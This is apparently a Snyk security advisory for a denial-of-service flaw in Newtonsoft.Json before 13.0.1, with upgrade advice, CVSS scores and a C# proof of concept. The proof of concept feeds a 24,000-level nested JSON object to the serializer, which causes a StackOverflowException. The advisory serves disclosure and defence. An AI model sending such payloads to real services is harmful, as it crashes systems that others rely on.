Insecure Defaults Affecting newtonsoft.json package, versions [,13.0.1)


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept
    EPSS
    0.27% (69th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-DOTNET-NEWTONSOFTJSON-2774678
  • published 24 Apr 2022
  • disclosed 24 Apr 2022
  • credit Gil Mirmovitch

How to fix?

Upgrade Newtonsoft.Json to version 13.0.1 or higher.

Overview

Affected versions of this package are vulnerable to Insecure Defaults due to improper handling of StackOverFlow exception (SOE) whenever nested expressions are being processed.

PoC


using System;

using System.IO;
using System.Linq;
using Newtonsoft.Json;
using Newtonsoft.Json.Linq;

namespace JsonTests
{
    class Program
    {
        static void Main(string[] args)
        {
            //Create a string representation of a highly nested object (JSON serialized)
            int nRep = 24000;
            string json = string.Concat(Enumerable.Repeat("{a:", nRep)) + "1" +
                          string.Concat(Enumerable.Repeat("}", nRep));

            //Parse this object (Parsing works well - no exception is being thrown)
            var parsedJson = JObject.Parse(json);
            
            using (var ms = new MemoryStream())
            using (var sWriter = new StreamWriter(ms))
            using (var jWriter = new JsonTextWriter(sWriter))
            {
                //Trying to serialize the object will result in StackOverflowException !!!
                parsedJson.WriteTo(jWriter);
            }

            //ToString throws StackOverflowException as well  (ToString is very unefficient - even for smaller payloads, it will occupy a lot of CPU & Memory)
            //parsedJson.ToString();

            //JsonConvert.SerializeObject throws StackOverflowException as well
            //string a = JsonConvert.SerializeObject(parsedJson);

        }
    }
}

CVSS Scores

version 3.1
Expand this section

Snyk

Recommended
7.5 high
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    Low
  • Privileges Required (PR)
    None
  • User Interaction (UI)
    None
  • Scope (S)
    Unchanged
  • Confidentiality (C)
    None
  • Integrity (I)
    None
  • Availability (A)
    High
Expand this section

NVD

7.5 high